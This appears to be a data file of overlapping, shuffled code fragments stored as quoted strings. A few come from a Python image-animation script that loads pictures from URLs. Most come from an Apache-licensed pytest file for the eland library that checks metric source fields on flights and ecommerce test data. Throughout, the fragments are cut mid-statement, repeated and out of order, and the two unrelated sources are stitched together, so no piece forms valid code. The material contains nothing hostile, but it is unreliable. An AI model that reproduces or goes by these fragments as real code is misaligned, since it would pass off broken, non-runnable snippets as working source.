+ r *", "range(frames): x = 400 - 8*t y = 150 shape.cx = x shape.cy", "self.height = height self.scale = scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic", "int): ox, oy, w, h = self.bounds() pic = self.pic.resize((int(w), int(h))) r =", "math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape)" ]
[ "KIND, either express or implied. # See the License for the specific language", "Unless required by applicable law or agreed to in writing, software # distributed", "es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes", "ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names =", "# File called _pytest for PyCharm compatability import numpy as np import eland", "object total_quantity int64 user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, )", "set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) # TODO - test position of date_format", "self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes)", "- test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\",", "TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes,", "pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list()", "pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) ==", "float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes,", "specific language governing permissions and # limitations under the License. # File called", "len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT),", "this file except in compliance with the License. # You may obtain a", "governing permissions and # limitations under the License. # File called _pytest for", "\"\"\" Note: one is metric category object currency object customer_birth_date datetime64[ns] customer_first_name object", "es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() ==", "pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self):", "eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self):", ") pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric", "customer_first_name object user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce", "ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} assert", "= pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats)", "ANY KIND, either express or implied. # See the License for the specific", "ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings(", "object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user object \"\"\" ed_field_mappings = ed.FieldMappings(", "language governing permissions and # limitations under the License. # File called _pytest", "assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\",", "== set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\",", "field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See", "TODO - test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\",", "include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list()", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "are metric category object currency object customer_birth_date datetime64[ns] customer_first_name object user object \"\"\"", "\"user\", ] \"\"\" Note: non of there are metric category object currency object", "pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric =", "\"customer_first_name\", \"user\", ] \"\"\" Note: non of there are metric category object currency", "= pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() ==", "OF ANY KIND, either express or implied. # See the License for the", "pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number,", "set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\",", "pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list()", "\"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non of there are metric category", "all are metric total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings(", "None} ) # TODO - test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names =", "date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\"", "\"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non of there are metric", "def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note:", "eland as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData", "of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ]", "[ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one is metric", "software # distributed under the License is distributed on an \"AS IS\" BASIS,", "es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list()", "ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\"", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to", "ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields()", "set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ]", "import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights", "assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) # TODO", "def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields,", "under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric total_quantity", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", ") pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() ==", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights =", "ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list()", "\"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one is metric category object currency object", "index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True )", "required by applicable law or agreed to in writing, software # distributed under", "applicable law or agreed to in writing, software # distributed under the License", "total_quantity int64 user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce", "field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non of", "== len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) # TODO - test", "= pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) ==", "client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True", "or agreed to in writing, software # distributed under the License is distributed", "\"total_quantity\", \"user\", ] \"\"\" Note: one is metric category object currency object customer_birth_date", "index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number)", "== set( {\"strict_date_hour_minute_second\", None} ) # TODO - test position of date_format def", "== {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names", "CONDITIONS OF ANY KIND, either express or implied. # See the License for", "= ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields", "pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self):", "under the Apache License, Version 2.0 (the \"License\"); # you may not use", "writing, software # distributed under the License is distributed on an \"AS IS\"", "= self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"])", "You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "License. # You may obtain a copy of the License at # #", "[ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non of there are", "== len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME", "int64 user object \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce =", "compliance with the License. # You may obtain a copy of the License", "ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) #", "== ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} )", "self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes", "ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings =", "# Copyright 2019 Elasticsearch BV # # Licensed under the Apache License, Version", "\"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one is metric category object", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", ") pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert", "_pytest for PyCharm compatability import numpy as np import eland as ed from", "ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True, include_timestamp=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert", "assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def", "def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields,", "are metric total_quantity int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT),", "pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields", "not use this file except in compliance with the License. # You may", "pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats)", "one is metric category object currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64", "category object currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user object \"\"\"", "License, Version 2.0 (the \"License\"); # you may not use this file except", "self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert", "len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\", None} ) # TODO -", "from eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "== {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights()", "[\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric total_quantity int64 taxful_total_price float64 taxless_total_price", "assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert", "ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData):", "== {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights()", "# you may not use this file except in compliance with the License.", "ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert", "agreed to in writing, software # distributed under the License is distributed on", "import numpy as np import eland as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME,", "ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert", "for PyCharm compatability import numpy as np import eland as ed from eland.tests", "(the \"License\"); # you may not use this file except in compliance with", "] \"\"\" Note: non of there are metric category object currency object customer_birth_date", "numpy as np import eland as ed from eland.tests import ES_TEST_CLIENT, ECOMMERCE_INDEX_NAME, FLIGHTS_INDEX_NAME", "pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats)", "# Unless required by applicable law or agreed to in writing, software #", "\"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields,", "by applicable law or agreed to in writing, software # distributed under the", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", ") pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True ) pd_metric =", "\"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) ==", "assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set() def", "assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\",", "pd_flights.select_dtypes(include=[np.number, \"bool\", \"datetime\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats)", "ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats", "pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes)", "eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME )", "len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME )", "= ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields()", "file except in compliance with the License. # You may obtain a copy", "Note: one is metric category object currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity", ") pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields", "class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights()", "pd_metric = pd_flights.select_dtypes(include=[np.number, \"bool\"]) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert", "es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) ==", "License for the specific language governing permissions and # limitations under the License.", "len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME )", "to in writing, software # distributed under the License is distributed on an", "client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True )", "implied. # See the License for the specific language governing permissions and #", "{None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names =", "\"License\"); # you may not use this file except in compliance with the", "\"\"\" Note: non of there are metric category object currency object customer_birth_date datetime64[ns]", "= ed_field_mappings.metric_source_fields() pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields", "= [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric total_quantity int64 taxful_total_price float64", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields( include_bool=True,", "int64 taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, )", "ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats)", "currency object customer_birth_date datetime64[ns] customer_first_name object total_quantity int64 user object \"\"\" ed_field_mappings =", "= [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non of there", "limitations under the License. # File called _pytest for PyCharm compatability import numpy", "File called _pytest for PyCharm compatability import numpy as np import eland as", "PyCharm compatability import numpy as np import eland as ed from eland.tests import", "= ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None}", "test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\",", "= pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) ==", "or implied. # See the License for the specific language governing permissions and", "Apache License, Version 2.0 (the \"License\"); # you may not use this file", "set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights =", "OR CONDITIONS OF ANY KIND, either express or implied. # See the License", "may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "assert pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note:", "len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list()", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,", "in writing, software # distributed under the License is distributed on an \"AS", "pd_metric.columns.to_list() == ed_fields def test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all", "{None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes,", "# See the License for the specific language governing permissions and # limitations", "the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [", "test_ecommerce_selected_mixed_metric_source_fields(self): field_names = [ \"category\", \"currency\", \"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note:", "ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric", "\"customer_birth_date\", \"customer_first_name\", \"total_quantity\", \"user\", ] \"\"\" Note: one is metric category object currency", "assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set( {\"strict_date_hour_minute_second\",", "== len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME", "taxful_total_price float64 taxless_total_price float64 \"\"\" ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce", "\"user\", ] \"\"\" Note: one is metric category object currency object customer_birth_date datetime64[ns]", "the Apache License, Version 2.0 (the \"License\"); # you may not use this", "you may not use this file except in compliance with the License. #", "pd_metric = pd_flights.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats)", "# TODO - test position of date_format def test_ecommerce_selected_non_metric_source_fields(self): field_names = [ \"category\",", "def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights = self.pd_flights() ed_dtypes, ed_fields,", "== ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == {None} def test_flights_all_metric_source_fields_bool_and_timestamp(self): ed_field_mappings", "== ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self): field_names", "len(ed_dtypes) assert set(es_date_formats) == {None} assert pd_metric.dtypes.to_list() == ed_dtypes assert pd_metric.columns.to_list() == ed_fields", "\"customer_birth_date\", \"customer_first_name\", \"user\", ] \"\"\" Note: non of there are metric category object", "\"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric total_quantity int64 taxful_total_price float64 taxless_total_price float64", "FLIGHTS_INDEX_NAME from eland.tests.common import TestData class TestMetricSourceFields(TestData): def test_flights_all_metric_source_fields(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT),", "the specific language governing permissions and # limitations under the License. # File", "ed_dtypes assert pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set(", "non of there are metric category object currency object customer_birth_date datetime64[ns] customer_first_name object", "= ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=ECOMMERCE_INDEX_NAME, display_names=field_names, ) pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats =", "set(es_date_formats) == {None} def test_flights_all_metric_source_fields_and_bool(self): ed_field_mappings = ed.FieldMappings( client=ed.Client(ES_TEST_CLIENT), index_pattern=FLIGHTS_INDEX_NAME ) pd_flights =", "test_ecommerce_selected_all_metric_source_fields(self): field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric total_quantity int64", "pd_ecommerce = self.pd_ecommerce()[field_names] ed_dtypes, ed_fields, es_date_formats = ed_field_mappings.metric_source_fields() pd_metric = pd_ecommerce.select_dtypes(include=np.number) assert pd_metric.dtypes.to_list()", "use this file except in compliance with the License. # You may obtain", "pd_metric.columns.to_list() == ed_fields assert len(es_date_formats) == len(ed_dtypes) assert set(es_date_formats) == set() def test_ecommerce_selected_mixed_metric_source_fields(self):", "field_names = [\"total_quantity\", \"taxful_total_price\", \"taxless_total_price\"] \"\"\" Note: all are metric total_quantity int64 taxful_total_price", "# Licensed under the Apache 